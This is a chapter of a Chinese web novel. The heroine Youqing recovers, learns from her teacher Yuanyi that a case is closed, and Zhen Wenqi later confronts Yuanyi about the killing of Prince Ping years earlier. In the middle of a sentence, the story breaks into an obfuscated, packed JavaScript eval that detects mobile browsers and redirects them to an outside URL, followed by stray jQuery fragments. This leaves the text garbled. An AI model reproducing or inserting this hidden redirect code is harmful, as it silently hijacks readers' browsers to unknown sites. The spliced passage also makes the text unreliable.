24. 樱桃煎

作品:《酥心记(美食)

    佑清想说对不起的地方有很多,可又不知道该从何说起,到最后只能变成眼泪流下来。


    “佑清,真的没事。”甄闻祁手掌压住佑清冰凉的侧脸,拇指拭去她眼角的泪,嗓音温柔。


    像是为证明自己说的话没错,他单手撑着地面,利落地爬起来。


    只是他明显高估了自己的状态,刚起身,就如同被大锤敲打的古钟,摇摇晃晃欲倾倒。


    佑清扶住虚弱的男人,哽咽道:“甄大人,嘴硬是解决不了问题的。”


    甄闻祁道:“只是一点疼而已,你不哭我就不疼了。”


    “我才没哭。”佑清用力撇开脸,手背擦过滚烫泪痕,因鼻塞而沙哑哽咽的声音显得格外没有说服力。


    她听见男人压抑的轻笑,“佑清,嘴硬是解决不了问题的。”


    佑清扭头瞪了甄闻祁一下。


    侥幸逃命后的小插曲不能拖住二人的脚步,佑清拖着甄闻祁走了很久。


    夜晚的竹林与白日里的完全不同,竹影婆娑,蟋蟀低鸣,二人在其中缓慢穿行,并不露痕迹。


    甄闻祁不敢把全部的重量压在佑清身上,道:“你肩膀的伤如何?”


    “无事,我做了防护。”佑清声音闷闷的,她方才哭过一场,眼睛微肿,说话带着鼻音。


    姑苏城外的环境甄闻祁并不熟悉,也不知道还要走多久,本能告诉他,佑清不应该拖着他走。


    他道:“你把我放在这儿吧。”


    “什么意思?”佑清不明白。


    尽管佑清帮甄闻祁处理一下伤口,可它还在流血,甄闻祁能很明显地感觉到力气和意识逐渐随着血液一同离开身体。


    再这样耽误下去,被竹筠轩的人找到只是时间问题。


    他气息不稳:“你一个人回去,找到崔弗再来接我。”


    “不可能。”佑清拒绝。


    “佑清……”甄闻祁还想劝一劝。


    佑清咬咬牙:“要活一起活,要死一起死。”


    她这话说得极果断,甄闻祁无奈,就是这样倔强的性子,一旦认定一件事,哪怕撞了南墙也要头破血流走下去。


    但风骨刚直便易折断,这实在算不上是件好事。


    不知道这样走了多久,直到一团烛火从不远处的树木间亮起,似有雀鸟簌簌飞过,带过一阵竹叶清香。


    巴掌大小的黑影径直落在佑清肩上,她趁着月色眯眼细瞧,是蓝凫。


    她的援兵到了。


    佑清听着杂乱脚步声逼近,始终紧绷的神经终于在那一刻松懈,随后肢体传来的酸痛感席卷全身,冲击着大脑。


    她眼睛一花,脚下发软,在崔弗接住甄闻祁的下一秒,跌入混沌漩涡中。


    再睁眼,佑清盯着眼前繁复的帐顶,意识短暂空白。


    这不是府衙。


    她花了几息才消化掉这个事实。


    佑清猛地坐起身,看完衣着、手脚,又去摸肩膀的伤。


    干净的寝衣,完好的手脚,肩膀的伤也换了新的药物,不是落入贼人之手,那她现在是在哪里?


    对了,甄闻祁呢?!


    佑清强撑着下床,环顾四周也没找到能穿的外衣,只好打开窗户,从窗缝往外瞧,企图了解当下情况。


    窗外绿意正浓,廊外水光粼粼,风荷以至残色,有人从远处走来,再近些佑清才看清来者。


    “师父。”佑清有些不敢置信,喃喃出声。


    醒转后接收到的信息实在太多、太诡异,佑清一时间转不过来弯。


    师父在这儿,那自己的伤岂不是也……


    她有些心虚,合拢窗,又回床上躺好,闭上眼假寐。


    只听门“吱呀——”一声,佑清眼皮轻跳。


    “醒了就起来。”元一说。


    什么事都瞒不过师父,佑清认命睁开眼,正思索着该如何蒙混过关,心下也带着侥幸——万一师父也是刚来呢?说不定她还没发现自己的伤。


    不过这个猜想随着元一开口而被打破。


    “把药喝了。”无波无浪的一句话,让人听不出情绪。


    但佑清知道元一是生气了。


    她一咕噜翻身下床,坐到师父身边,伸手去拉师父,却被躲开了。


    “师父——”佑清懒懒地拖长音调,一贯撒娇的手段。


    “不准叫我。”元一气急,“我问你,你的伤是怎么回事?我同你说过,凡事不要……”


    佑清卖乖,“凡事不要逞威风,不要烂好心,要以自身利益为主,小心行事,师父,这些我都知道。可……”


    话没说完,她脑海里浮现出那张熟悉的脸,不由敛眸,话到嘴边却说不出口。


    元一追问:“可是什么?”


    “没什么。”佑清闷闷地说,“是我有错,我保证下次一定不会。师父,您就原谅我吧。”


    元一:“先把药喝了。”她点了点药碗。


    佑清虽然讨厌喝药,但是为了取得元一的原谅,捏着鼻子紧皱眉头,一口气把药饮尽,刚喘口气,微张的嘴被塞入一枚小东西。


    一股清冽的甜意顿时溢满整个嘴巴,药汤的苦涩虽还在舌根盘旋,但已不敌甜蜜的进攻,逐渐消失。


    佑清下意识轻咬,齿尖触到一层微韧的糖壳,随后陷入柔糯的果肉中,带着一点嚼劲。


    是樱桃煎。


    “谢谢师父。”佑清含糊着说。


    元一:“这就叫活受罪,明明最不爱吃苦,偏偏不注意让自己受伤,结果喝这么多药,就开心了?”


    佑清咀嚼的动作放缓,原本甜腻的滋味在舌根化作一抹极幽深尖锐的酸意,刺激得她心头发颤。


    “那你呢师父,甄大人怎么把你放出来了?”佑清岔开话题。


    元一:“案子结束了,自然就把我放出来了。见你还昏迷着,我就托刘大人在府上先安置……”


    元一絮絮叨叨说了许多,但佑清耳朵像是能自动屏蔽,只留下最开头那句——案子结束了。


    佑清问:“案子结束了?”


    “是啊,官府已经结案了,那闫邹氏听到结果当场就昏过去了。”


    “什么案子?”佑清又问。


    “闫肃笙的案子。”


    佑清瞪大眼,又重复一遍:“结、束、了?”她状态明显不对,又问,“我睡了几天。”


    “一天一夜。”元一看出佑清的不对劲,“怎么了?佑清,事情已经过去了,不要去纠结已经了结的东西。”


    “什么结果?”


    “闫肃笙是自己贪心吃多了禁药,竹筠轩贩卖禁药,也已经被查封了,主管当场自尽,药物悉数被销毁。这就是我们想要看到的结果。”


    是了。


    佑清憋在胸膛的一口气终于泄开,这就是她想要的结果,她还有什么不满意呢?


    那些药物,那批武器,都交到了正确的人手中,她应该满意的。


    所有事情都在往她预设的方向发展,她不该不满意。


    可佑清不死心:“师父,甄闻祁没


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16492958|184884||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    有同你说什么吗?”她以为甄闻祁避开故意不见,至少会留些话给她。


    “没有。”元一斩钉截铁。


    “没有?”佑清笑了,“没有……”


    室内未点烛火,因此灰蒙蒙的,恰如此刻她沉闷的心情,压抑得透不过气。


    夏末的空气依旧潮湿,肩膀的伤口痛痒难耐,仿佛有无数根针往里面扎刺,一直痛到心里。


    佑清想起暗河里紧握住的双手,想起他强忍伤痛故作平静的语气,想起红帐内灼热的气息和紊乱的心跳……每一个细节都清晰到可怕。


    她知道不是没有,她清楚明白这是甄闻祁伙同元一对她撒下的谎。


    但无论元一和甄闻祁交代了多少,佑清都选择接受。


    汤药重新回到碗中,太阳落下又升起,那是竹筠轩刚被查封后的姑苏城松鹤楼,堂中戏台上说书人情绪高昂,将一出好戏讲述得淋漓尽致。


    “今日这出,实为杜撰,还请诸君细听,只当是大梦一场。”又是这出。


    甄闻祁面前的茶盏未动分毫,小厮更换了几次热茶,也只是让它凉透在桌案上。


    “大人,元一带到了。”崔弗推门,立在门口示意女人进去。


    而后,门从外面被关上,静谧空间中只剩下二人。


    元一倒不客气,坐下自顾自给自己斟了杯茶水,一口饮尽方说:“甄大人好雅致,莫非今日放我出来,又是为了讲故事?”


    “闫肃笙的案子结了。”甄闻祁冷不丁抛出一句。


    元一一怔,立刻反应过来:“结了?那我自由了,便把佑清和蓝凫还给我。”


    “……陈言胜写下求援信交给心腹,让其去搬救兵,又带着身怀六甲的妻子摆脱山匪……岂料妻子此时下腹隐隐作痛!竟是要生了!可外头兵戈声四起……”台上人说着。


    “不急。”甄闻祁声音半遮半掩在戏文中,深沉清冽,“今日这处故事,不由我来讲,而是你——”


    “我?甄大人想听我讲什么?”


    “我瞧台上那出就不错。”


    “……他们都知道已等不来救援,哪怕是供上钱财也止不住对方的进攻——这些山匪——竟然直接——”堂上忽然刹住声音。


    “我不明白大人什么意思。”元一惯会装聋作哑。


    甄闻祁便把血淋淋的事实刨开来,甩到元一面前:“十六年前,那桩天底下最大惨案——平王与他身怀六甲的妻子为何孤立无援,平王身死后那腹中的孩子又去了何处?为何我父亲前去救援被拖慢了脚步?回来时又为何抱着一个刚出生的女婴?听起来像不像台上那出灭门的戏文?而这些……”


    “如果细查,根本经不起推敲。当年时局动荡,人人自危,事事算计,故而一个不受宠的皇子惨死的事实被忽略。可如今新帝登基,她是平王一母同胞的亲妹妹,这些东西自然又被翻出来重新调查。凶手在怕什么?我不知道,但你在怕什么,我一清二楚。”


    怕新帝只是虚伪,并非真心为兄长翻案;怕涉案调查的官员动作太明显,惊动凶手;更怕自身能力不敌,不能更好地保护平王遗孤。


    与其被动接受,不如主动出击。


    那些原本被人精心隐藏起来的事实,躲在迷雾后的细节,终于被甄闻祁捕捉到,血淋淋刨析在青天白日下。


    甄闻祁说过的。


    ——“你没看出来吗?佑清长得越来越像一个人……”


    ——“你呢?你的长相随谁?”


    ——“都说女儿肖父。”